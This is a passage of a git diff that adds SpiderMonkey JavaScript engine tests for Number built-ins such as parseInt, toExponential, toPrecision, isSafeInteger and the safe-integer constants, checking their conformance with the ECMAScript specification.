+var summary = "ES6 (draft April 2014) 20.1.2.10 Number.MIN_SAFE_INTEGER";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Test value
+assertEq(Number.MIN_SAFE_INTEGER, -(Math.pow(2, 53) - 1));
+
+//Test property attributes
+var descriptor = Object.getOwnPropertyDescriptor(Number, 'MIN_SAFE_INTEGER');
+
+assertEq(descriptor.writable, false);
+assertEq(descriptor.configurable, false);
+assertEq(descriptor.enumerable, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/20.1.2.6-MAX_SAFE_INTEGER.js b/js/src/tests/non262/Number/20.1.2.6-MAX_SAFE_INTEGER.js
new file mode 100644
index 0000000000..e3a2ddff1f
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.2.6-MAX_SAFE_INTEGER.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 885798;
+var summary = "ES6 (draft April 2014) 20.1.2.6 Number.MAX_SAFE_INTEGER";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Test value
+assertEq(Number.MAX_SAFE_INTEGER, Math.pow(2, 53) - 1);
+
+//Test property attributes
+var descriptor = Object.getOwnPropertyDescriptor(Number, 'MAX_SAFE_INTEGER');
+
+assertEq(descriptor.writable, false);
+assertEq(descriptor.configurable, false);
+assertEq(descriptor.enumerable, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/20.1.3.2-toExponential.js b/js/src/tests/non262/Number/20.1.3.2-toExponential.js
new file mode 100644
index 0000000000..f87c750df1
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.3.2-toExponential.js
@@ -0,0 +1,47 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 818617;
+var summary = "ECMAScript 2017 Draft ECMA-262 Section 20.1.3.2: Number.prototype.toExponential";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// With NaN, fractionDigits out of range.
+assertEq(Number.prototype.toExponential.call(NaN, 555), 'NaN');
+
+// With NaN fractionDigits in range.
+assertEq(Number.prototype.toExponential.call(NaN, 5), 'NaN');
+
+// With Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toExponential.call(Infinity, 555), 'Infinity');
+
+// With Infinity, fractionDigits in range.
+assertEq(Number.prototype.toExponential.call(Infinity, 5), 'Infinity');
+
+// With -Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toExponential.call(-Infinity, 555), '-Infinity');
+
+// With -Infinity, fractionDigits in range.
+assertEq(Number.prototype.toExponential.call(-Infinity, 5), '-Infinity');
+
+// With NaN, function assigning a value.
+let x = 10;
+assertEq(Number.prototype.toExponential.call(NaN, { valueOf() { x = 20; return 1; } }), 'NaN');
+assertEq(x, 20);
+
+// With NaN, function throwing an exception.
+assertThrows(() => Number.prototype.toExponential.call(NaN, { valueOf() { throw "hello"; } }));
+
+// Not a number throws TypeError
+assertThrowsInstanceOf(() => Number.prototype.toExponential.call("Hello"), TypeError);
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
+
diff --git a/js/src/tests/non262/Number/20.1.3.2-toPrecision.js b/js/src/tests/non262/Number/20.1.3.2-toPrecision.js
new file mode 100644
index 0000000000..5c98560445
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.3.2-toPrecision.js
@@ -0,0 +1,47 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 818617;
+var summary = "ECMAScript 2017 Draft ECMA-262 Section 20.1.3.5: Number.prototype.toPrecision";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// With NaN, fractionDigits out of range.
+assertEq(Number.prototype.toPrecision.call(NaN, 555), 'NaN');
+
+// With NaN, fractionDigits in range.
+assertEq(Number.prototype.toPrecision.call(NaN, 5), 'NaN');
+
+// With Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toPrecision.call(Infinity, 555), 'Infinity');
+
+// With Infinity, fractionDigits in range.
+assertEq(Number.prototype.toPrecision.call(Infinity, 5), 'Infinity');
+
+// With -Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toPrecision.call(-Infinity, 555), '-Infinity');
+
+// With -Infinity, fractionDigits in range.
+assertEq(Number.prototype.toPrecision.call(-Infinity, 5), '-Infinity');
+
+// With NaN, function assigning a value.
+let x = 10;
+assertEq(Number.prototype.toPrecision.call(NaN, { valueOf() { x = 20; return 1; } }), 'NaN');
+assertEq(x, 20);
+
+// With NaN, function throwing an exception.
+assertThrows(() => Number.prototype.toPrecision.call(NaN, { valueOf() { throw "hello"; } }));
+
+// Not a number throws TypeError
+assertThrowsInstanceOf(() => Number.prototype.toPrecision.call("Hello"), TypeError);
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
+
diff --git a/js/src/tests/non262/Number/20.1.3.3-toFixed.js b/js/src/tests/non262/Number/20.1.3.3-toFixed.js
new file mode 100644
index 0000000000..28b57ddaa2
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.3.3-toFixed.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+assertEq(Number.prototype.toFixed.call(-Infinity), "-Infinity");
+assertEq(Number.prototype.toFixed.call(Infinity), "Infinity");
+assertEq(Number.prototype.toFixed.call(NaN), "NaN");
+
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call(-Infinity, 555), RangeError);
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call(Infinity, 555), RangeError);
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call(NaN, 555), RangeError);
+
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call("Hello"), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/ToNumber.js b/js/src/tests/non262/Number/ToNumber.js
new file mode 100644
index 0000000000..5716c8a000
--- /dev/null
+++ b/js/src/tests/non262/Number/ToNumber.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+assertEq(Number("0b11"), 3);
+assertEq(Number("0B11"), 3);
+assertEq(Number(" 0b11 "), 3);
+assertEq(Number("0b12"), NaN);
+assertEq(Number("-0b11"), NaN);
+assertEq(+"0b11", 3);
+
+assertEq(Number("0o66"), 54);
+assertEq(Number("0O66"), 54);
+assertEq(Number(" 0o66 "), 54);
+assertEq(Number("0o88"), NaN);
+assertEq(Number("-0o66"), NaN);
+assertEq(+"0o66", 54);
+
+if(typeof getSelfHostedValue === "function"){
+ assertEq(getSelfHostedValue("ToNumber")("0b11"), 3);
+ assertEq(getSelfHostedValue("ToNumber")("0o66"), 54);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/browser.js b/js/src/tests/non262/Number/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Number/browser.js
diff --git a/js/src/tests/non262/Number/conversion-invalid-precision.js b/js/src/tests/non262/Number/conversion-invalid-precision.js
new file mode 100644
index 0000000000..76c3a94d0a
--- /dev/null
+++ b/js/src/tests/non262/Number/conversion-invalid-precision.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 795745;
+var summary =
+ "Number.prototype.to* should throw a RangeError when passed a bad precision";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test(method, prec)
+{
+ try
+ {
+ Number.prototype[method].call(0, prec);
+ throw "should have thrown";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof RangeError, true,
+ "expected RangeError for " + method + " with precision " + prec +
+ ", got " + e);
+ }
+}
+
+test("toExponential", -32);
+test("toFixed", -32);
+test("toPrecision", -32);
+
+test("toExponential", 9999999);
+test("toFixed", 9999999);
+test("toPrecision", 9999999);
+
+test("toPrecision", 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Number/defaultvalue.js b/js/src/tests/non262/Number/defaultvalue.js
new file mode 100644
index 0000000000..15bf021629
--- /dev/null
+++ b/js/src/tests/non262/Number/defaultvalue.js
@@ -0,0 +1,170 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 645464;
+var summary =
+ "[[DefaultValue]] behavior wrong for Number with overridden valueOf/toString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+
+// equality
+
+var n = new Number();
+assertEq(n == 0, true);
+
+var n2 = new Number();
+n2.valueOf = function() { return 17; };
+assertEq(n2 == 17, true);
+
+var n3 = new Number();
+n3.toString = function() { return 42; };
+assertEq(n3 == 0, true);
+
+function testEquality()
+{
+ var n = new Number();
+ assertEq(n == 0, true);
+
+ var n2 = new Number();
+ n2.valueOf = function() { return 17; };
+ assertEq(n2 == 17, true);
+
+ var n3 = new Number();
+ n3.toString = function() { return 42; };
+ assertEq(n3 == 0, true);
+}
+testEquality();
+
+
+// addition of Number to number
+
+var n = new Number();
+assertEq(n + 5, 5);
+
+var n2 = new Number();
+n2.toString = function() { return 9; };
+assertEq(n2 + 3, 3);
+
+var n3 = new Number();
+n3.valueOf = function() { return 17; };
+assertEq(n3 + 5, 22);
+
+function testNumberAddition()
+{
+ var n = new Number();
+ assertEq(n + 5, 5);
+
+ var n2 = new Number();
+ n2.toString = function() { return 9; };
+ assertEq(n2 + 3, 3);
+
+ var n3 = new Number();
+ n3.valueOf = function() { return 17; };
+ assertEq(n3 + 5, 22);
+}
+testNumberAddition();
+
+
+// addition of Number to Number
+
+var n = new Number();
+assertEq(n + n, 0);
+
+var n2 = new Number();
+n2.toString = function() { return 5; };
+assertEq(n2 + n2, 0);
+
+var n3 = new Number();
+n3.valueOf = function() { return 8.5; };
+assertEq(n3 + n3, 17);
+
+function testNonNumberAddition()
+{
+ var n = new Number();
+ assertEq(n + n, 0);
+
+ var n2 = new Number();
+ n2.toString = function() { return 5; };
+ assertEq(n2 + n2, 0);
+
+ var n3 = new Number();
+ n3.valueOf = function() { return 8.5; };
+ assertEq(n3 + n3, 17);
+}
+testNonNumberAddition();
+
+
+// Number as bracketed property name
+
+var obj = { 0: 17, 8: 42, 9: 8675309 };
+
+var n = new Number();
+assertEq(obj[n], 17);
+
+var n2 = new Number();
+n2.valueOf = function() { return 8; }
+assertEq(obj[n2], 17);
+
+var n3 = new Number();
+n3.toString = function() { return 9; };
+assertEq(obj[n3], 8675309);
+
+function testPropertyNameToNumber()
+{
+ var obj = { 0: 17, 8: 42, 9: 8675309 };
+
+ var n = new Number();
+ assertEq(obj[n], 17);
+
+ var n2 = new Number();
+ n2.valueOf = function() { return 8; }
+ assertEq(obj[n2], 17);
+
+ var n3 = new Number();
+ n3.toString = function() { return 9; };
+ assertEq(obj[n3], 8675309);
+}
+testPropertyNameToNumber();
+
+
+// Number as property name with |in| operator
+
+var n = new Number();
+assertEq(n in { 0: 5 }, true);
+
+var n2 = new Number();
+n2.toString = function() { return "baz"; };
+assertEq(n2 in { baz: 42 }, true);
+
+var n3 = new Number();
+n3.valueOf = function() { return "quux"; };
+assertEq(n3 in { 0: 17 }, true);
+
+function testInOperatorName()
+{
+ var n = new Number();
+ assertEq(n in { 0: 5 }, true);
+
+ var n2 = new Number();
+ n2.toString = function() { return "baz"; };
+ assertEq(n2 in { baz: 42 }, true);
+
+ var n3 = new Number();
+ n3.valueOf = function() { return "quux"; };
+ assertEq(n3 in { 0: 17 }, true);
+}
+testInOperatorName();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/isSafeInteger-01.js b/js/src/tests/non262/Number/isSafeInteger-01.js
new file mode 100644
index 0000000000..d1a11cfe37
--- /dev/null
+++ b/js/src/tests/non262/Number/isSafeInteger-01.js
@@ -0,0 +1,40 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1003764;
+var summary = "ES6 (draft Draft May 22, 2014) ES6 20.1.2.5 Number.isSafeInteger(number)";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Number.isSafeInteger.length, 1);
+
+assertEq(Number.isSafeInteger({}), false);
+assertEq(Number.isSafeInteger(NaN), false);
+assertEq(Number.isSafeInteger(+Infinity), false);
+assertEq(Number.isSafeInteger(-Infinity), false);
+
+assertEq(Number.isSafeInteger(-1), true);
+assertEq(Number.isSafeInteger(+0), true);
+assertEq(Number.isSafeInteger(-0), true);
+assertEq(Number.isSafeInteger(1), true);
+
+assertEq(Number.isSafeInteger(3.2), false);
+
+assertEq(Number.isSafeInteger(Math.pow(2, 53) - 2), true);
+assertEq(Number.isSafeInteger(Math.pow(2, 53) - 1), true);
+assertEq(Number.isSafeInteger(Math.pow(2, 53)), false);
+assertEq(Number.isSafeInteger(Math.pow(2, 53) + 1), false);
+assertEq(Number.isSafeInteger(Math.pow(2, 53) + 2), false);
+
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) - 2), false);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) - 1), false);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53)), false);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) + 1), true);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) + 2), true);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/numericSeparator.js b/js/src/tests/non262/Number/numericSeparator.js
new file mode 100644
index 0000000000..46ebabc7ea
--- /dev/null
+++ b/js/src/tests/non262/Number/numericSeparator.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertThrowsInstanceOf(function() { eval('let a = 100_00_;'); }, SyntaxError);
+assertThrowsInstanceOf(() => eval("let b = 10__;"), SyntaxError);
+assertThrowsInstanceOf(() => eval("let b = 1._2;"), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/Number/parseFloat-01.js b/js/src/tests/non262/Number/parseFloat-01.js
new file mode 100644
index 0000000000..8c57e4e129
--- /dev/null
+++ b/js/src/tests/non262/Number/parseFloat-01.js
@@ -0,0 +1,27 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 886949;
+var summary = "ES6 (draft May 2013) 15.7.3.10 Number.parseFloat(string)";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Number.parseFloat("Infinity"), Infinity);
+assertEq(Number.parseFloat("+Infinity"), Infinity);
+assertEq(Number.parseFloat("-Infinity"), -Infinity);
+
+assertEq(Number.parseFloat("inf"), NaN);
+assertEq(Number.parseFloat("Inf"), NaN);
+assertEq(Number.parseFloat("infinity"), NaN);
+
+assertEq(Number.parseFloat("nan"), NaN);
+assertEq(Number.parseFloat("NaN"), NaN);
+
+/* Number.parseFloat should be the same function object as global parseFloat. */
+assertEq(Number.parseFloat, parseFloat);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/parseInt-01.js b/js/src/tests/non262/Number/parseInt-01.js
new file mode 100644
index 0000000000..20bda18726
--- /dev/null
+++ b/js/src/tests/non262/Number/parseInt-01.js
@@ -0,0 +1,172 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 886949;
+var summary = "ES6 (draft May 2013) 15.7.3.9 Number.parseInt(string, radix)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var str, radix;
+var upvar;
+
+/* 1. Let inputString be ToString(string). */
+
+assertEq(Number.parseInt({ toString: function() { return "17" } }, 10), 17);
+
+upvar = 0;
+str = { get toString() { upvar++; return function() { upvar++; return "12345"; } } };
+assertEq(Number.parseInt(str, 10), 12345);
+assertEq(upvar, 2);
+
+
+/*
+ * 2. Let S be a newly created substring of inputString consisting of the first
+ * character that is not a StrWhiteSpaceChar and all characters following
+ * that character. (In other words, remove leading white space.)
+ */
+
+var ws =
+ ["\t", "\v", "\f", " ", "\xA0", "\uFEFF",
+ "\u2004", "\u3000", // a few Unicode whitespaces
+ "\r", "\n", "\u2028", "\u2029"];
+
+str = "8675309";
+for (var i = 0, sz = ws.length; i < sz; i++)
+{
+ assertEq(Number.parseInt(ws[i] + str, 10), 8675309);
+ for (var j = 0, sz = ws.length; j < sz; j++)
+ {
+ assertEq(Number.parseInt(ws[i] + ws[j] + str, 10), 8675309,
+ ws[i].charCodeAt(0).toString(16) + ", " +
+ ws[j].charCodeAt(0).toString(16));
+ }
+}
+
+
+/*
+ * 3. Let sign be 1.
+ * 4. If S is not empty and the first character of S is a minus sign -, let
+ * sign be −1.
+ */
+str = "5552368";
+assertEq(Number.parseInt("-" + str, 10), -Number.parseInt(str, 10));
+assertEq(Number.parseInt(" -" + str, 10), -Number.parseInt(str, 10));
+assertEq(Number.parseInt("-", 10), NaN);
+assertEq(Number.parseInt("", 10), NaN);
+assertEq(Number.parseInt("-0", 10), -0);
+
+
+/*
+ * 5. If S is not empty and the first character of S is a plus sign + or a
+ * minus sign -, then remove the first character from S.
+ */
+assertEq(Number.parseInt("+12345", 10), 12345);
+assertEq(Number.parseInt(" +12345", 10), 12345);
+assertEq(Number.parseInt("-12345", 10), -12345);
+assertEq(Number.parseInt(" -12345", 10), -12345);
+
+
+/*
+ * 6. Let R = ToInt32(radix).
+ */
+
+upvar = "";
+str =
+ { toString: function() { if (!upvar) upvar = "string"; return "42"; } };
+radix =
+ { toString: function() { if (!upvar) upvar = "radix"; return "10"; } };
+
+assertEq(Number.parseInt(str, radix), 42);
+assertEq(upvar, "string");
+
+assertEq(Number.parseInt("123", null), 123);
+assertEq(Number.parseInt("123", undefined), 123);
+assertEq(Number.parseInt("123", NaN), 123);
+assertEq(Number.parseInt("123", -0), 123);
+assertEq(Number.parseInt("10", 72057594037927950), 16);
+assertEq(Number.parseInt("10", -4294967292), 4);
+assertEq(Number.parseInt("0x10", 1e308), 16);
+assertEq(Number.parseInt("10", 1e308), 10);
+assertEq(Number.parseInt("10", { valueOf: function() { return 16; } }), 16);
+
+
+/*
+ * 7. Let stripPrefix be true.
+ * 8. If R ≠ 0, then
+ * a. If R < 2 or R > 36, then return NaN.
+ * b. If R ≠ 16, let stripPrefix be false.
+ * 9. Else, R = 0
+ * a. Let R = 10.
+ * 10. If stripPrefix is true, then
+ * a. If the length of S is at least 2 and the first two characters of S
+ * are either “0x” or “0X”, then remove the first two characters from S and
+ * let R = 16.
+ */
+var vs = ["1", "51", "917", "2343", "99963"];
+for (var i = 0, sz = vs.length; i < sz; i++)
+ assertEq(Number.parseInt(vs[i], 0), Number.parseInt(vs[i], 10), "bad " + vs[i]);
+
+assertEq(Number.parseInt("0x10"), 16);
+assertEq(Number.parseInt("0x10", 0), 16);
+assertEq(Number.parseInt("0x10", 16), 16);
+assertEq(Number.parseInt("0x10", 8), 0);
+assertEq(Number.parseInt("-0x10", 16), -16);
+
+assertEq(Number.parseInt("5", 1), NaN);
+assertEq(Number.parseInt("5", 37), NaN);
+assertEq(Number.parseInt("5", { valueOf: function() { return -1; } }), NaN);
+
+
+/*
+ * 11. If S contains any character that is not a radix-R digit, then let Z be
+ * the substring of S consisting of all characters before the first such
+ * character; otherwise, let Z be S.
+ * 12. If Z is empty, return NaN.
+ */
+assertEq(Number.parseInt(""), NaN);
+assertEq(Number.parseInt("ohai"), NaN);
+assertEq(Number.parseInt("0xohai"), NaN);
+assertEq(Number.parseInt("-ohai"), NaN);
+assertEq(Number.parseInt("+ohai"), NaN);
+assertEq(Number.parseInt(" ohai"), NaN);
+
+assertEq(Number.parseInt("0xaohai"), 10);
+assertEq(Number.parseInt("hohai", 18), 17);
+
+
+/*
+ * 13. Let mathInt be the mathematical integer value that is represented by Z
+ * in radix-R notation, using the letters A-Z and a-z for digits with
+ * values 10 through 35. (However, if R is 10 and Z contains more than 20
+ * significant digits, every significant digit after the 20th may be
+ * replaced by a 0 digit, at the option of the implementation; and if R is
+ * not 2, 4, 8, 10, 16, or 32, then mathInt may be an implementation-
+ * dependent approximation to the mathematical integer value that is
+ * represented by Z in radix-R notation.)
+ * 14. Let number be the Number value for mathInt.
+ * 15. Return sign × number.
+ */
+assertEq(Number.parseInt("ohai", 36), 1142154);
+assertEq(Number.parseInt("0ohai", 36), 1142154);
+assertEq(Number.parseInt("00ohai", 36), 1142154);
+assertEq(Number.parseInt("A", 16), 10);
+assertEq(Number.parseInt("0A", 16), 10);
+assertEq(Number.parseInt("00A", 16), 10);
+assertEq(Number.parseInt("A", 17), 10);
+assertEq(Number.parseInt("0A", 17), 10);
+assertEq(Number.parseInt("00A", 17), 10);
+
+/* Number.parseInt should be the same function object as global parseInt. */
+assertEq(Number.parseInt, parseInt);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/parseInt-default-to-decimal.js b/js/src/tests/non262/Number/parseInt-default-to-decimal.js
new file mode 100644
index 0000000000..7049ef661b
--- /dev/null
+++ b/js/src/tests/non262/Number/parseInt-default-to-decimal.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 886949;
+var summary = "ES6 (draft May 2013) 15.7.3.9 Number.parseInt(string, radix)." +
+ " Verify that Number.parseInt defaults to decimal.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(Number.parseInt("08"), 8);
+assertEq(Number.parseInt("09"), 9);
+assertEq(Number.parseInt("014"), 14);
+
+function strictParseInt(s) { "use strict"; return Number.parseInt(s); }
+
+assertEq(strictParseInt("08"), 8);
+assertEq(strictParseInt("09"), 9);
+assertEq(strictParseInt("014"), 14);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/regress-442242-01.js b/js/src/tests/non262/Number/regress-442242-01.js
new file mode 100644
index 0000000000..a02f9511a0
--- /dev/null
+++ b/js/src/tests/non262/Number/regress-442242-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 442242;
+var summary = 'Do not assert: INT_FITS_IN_JSVAL(i)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var i = 28800000;
+ -i;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Number/shell.js b/js/src/tests/non262/Number/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Number/shell.js
diff --git a/js/src/tests/non262/Number/toExponential-values.js b/js/src/tests/non262/Number/toExponential-values.js
new file mode 100644
index 0000000000..c626738461
--- /dev/null
+++ b/js/src/tests/non262/Number/toExponential-values.js
@@ -0,0 +1,118 @@
+let values = [
+ [-0, undefined, "0e+0"],
+ [-0, 0, "0e+0"],
+ [-0, 1, "0.0e+0"],
+ [-0, 10, "0.0000000000e+0"],
+ [-0, 50, "0.00000000000000000000000000000000000000000000000000e+0"],
+ [-0, 100, "0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0"],
+ [0, undefined, "0e+0"],
+ [0, 0, "0e+0"],
+ [0, 1, "0.0e+0"],
+ [0, 10, "0.0000000000e+0"],
+ [0, 50, "0.00000000000000000000000000000000000000000000000000e+0"],
+ [0, 100, "0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0"],
+ [NaN, undefined, "NaN"],
+ [NaN, 0, "NaN"],
+ [NaN, 1, "NaN"],
+ [NaN, 10, "NaN"],
+ [NaN, 50, "NaN"],
+ [NaN, 100, "NaN"],
+ [Infinity, undefined, "Infinity"],
+ [Infinity, 0, "Infinity"],
+ [Infinity, 1, "Infinity"],
+ [Infinity, 10, "Infinity"],
+ [Infinity, 50, "Infinity"],
+ [Infinity, 100, "Infinity"],
+ [-Infinity, undefined, "-Infinity"],
+ [-Infinity, 0, "-Infinity"],
+ [-Infinity, 1, "-Infinity"],
+ [-Infinity, 10, "-Infinity"],
+ [-Infinity, 50, "-Infinity"],
+ [-Infinity, 100, "-Infinity"],
+ [3.141592653589793, undefined, "3.141592653589793e+0"],
+ [3.141592653589793, 0, "3e+0"],
+ [3.141592653589793, 1, "3.1e+0"],
+ [3.141592653589793, 10, "3.1415926536e+0"],
+ [3.141592653589793, 50, "3.14159265358979311599796346854418516159057617187500e+0"],
+ [3.141592653589793, 100, "3.1415926535897931159979634685441851615905761718750000000000000000000000000000000000000000000000000000e+0"],
+ [-1, undefined, "-1e+0"],
+ [-1, 0, "-1e+0"],
+ [-1, 1, "-1.0e+0"],
+ [-1, 10, "-1.0000000000e+0"],
+ [-1, 50, "-1.00000000000000000000000000000000000000000000000000e+0"],
+ [-1, 100, "-1.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0"],
+ [1, undefined, "1e+0"],
+ [1, 0, "1e+0"],
+ [1, 1, "1.0e+0"],
+ [1, 10, "1.0000000000e+0"],
+ [1, 50, "1.00000000000000000000000000000000000000000000000000e+0"],
+ [1, 100, "1.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0"],
+ [-123456.78, undefined, "-1.2345678e+5"],
+ [-123456.78, 0, "-1e+5"],
+ [-123456.78, 1, "-1.2e+5"],
+ [-123456.78, 10, "-1.2345678000e+5"],
+ [-123456.78, 50, "-1.23456779999999998835846781730651855468750000000000e+5"],
+ [-123456.78, 100, "-1.2345677999999999883584678173065185546875000000000000000000000000000000000000000000000000000000000000e+5"],
+ [123456.78, undefined, "1.2345678e+5"],
+ [123456.78, 0, "1e+5"],
+ [123456.78, 1, "1.2e+5"],
+ [123456.78, 10, "1.2345678000e+5"],
+ [123456.78, 50, "1.23456779999999998835846781730651855468750000000000e+5"],
+ [123456.78, 100, "1.2345677999999999883584678173065185546875000000000000000000000000000000000000000000000000000000000000e+5"],
+ [100000000000000000000, undefined, "1e+20"],
+ [100000000000000000000, 0, "1e+20"],
+ [100000000000000000000, 1, "1.0e+20"],
+ [100000000000000000000, 10, "1.0000000000e+20"],
+ [100000000000000000000, 50, "1.00000000000000000000000000000000000000000000000000e+20"],
+ [100000000000000000000, 100, "1.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+20"],
+ [1e+21, undefined, "1e+21"],
+ [1e+21, 0, "1e+21"],
+ [1e+21, 1, "1.0e+21"],
+ [1e+21, 10, "1.0000000000e+21"],
+ [1e+21, 50, "1.00000000000000000000000000000000000000000000000000e+21"],
+ [1e+21, 100, "1.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+21"],
+ [-100000000000000000000, undefined, "-1e+20"],
+ [-100000000000000000000, 0, "-1e+20"],
+ [-100000000000000000000, 1, "-1.0e+20"],
+ [-100000000000000000000, 10, "-1.0000000000e+20"],
+ [-100000000000000000000, 50, "-1.00000000000000000000000000000000000000000000000000e+20"],
+ [-100000000000000000000, 100, "-1.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+20"],
+ [-1e+21, undefined, "-1e+21"],
+ [-1e+21, 0, "-1e+21"],
+ [-1e+21, 1, "-1.0e+21"],
+ [-1e+21, 10, "-1.0000000000e+21"],
+ [-1e+21, 50, "-1.00000000000000000000000000000000000000000000000000e+21"],
+ [-1e+21, 100, "-1.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+21"],
+ [Number.MAX_VALUE, undefined, "1.7976931348623157e+308"],
+ [Number.MAX_VALUE, 0, "2e+308"],
+ [Number.MAX_VALUE, 1, "1.8e+308"],
+ [Number.MAX_VALUE, 10, "1.7976931349e+308"],
+ [Number.MAX_VALUE, 50, "1.79769313486231570814527423731704356798070567525845e+308"],
+ [Number.MAX_VALUE, 100, "1.7976931348623157081452742373170435679807056752584499659891747680315726078002853876058955863276687817e+308"],
+ [-Number.MAX_VALUE, undefined, "-1.7976931348623157e+308"],
+ [-Number.MAX_VALUE, 0, "-2e+308"],
+ [-Number.MAX_VALUE, 1, "-1.8e+308"],
+ [-Number.MAX_VALUE, 10, "-1.7976931349e+308"],
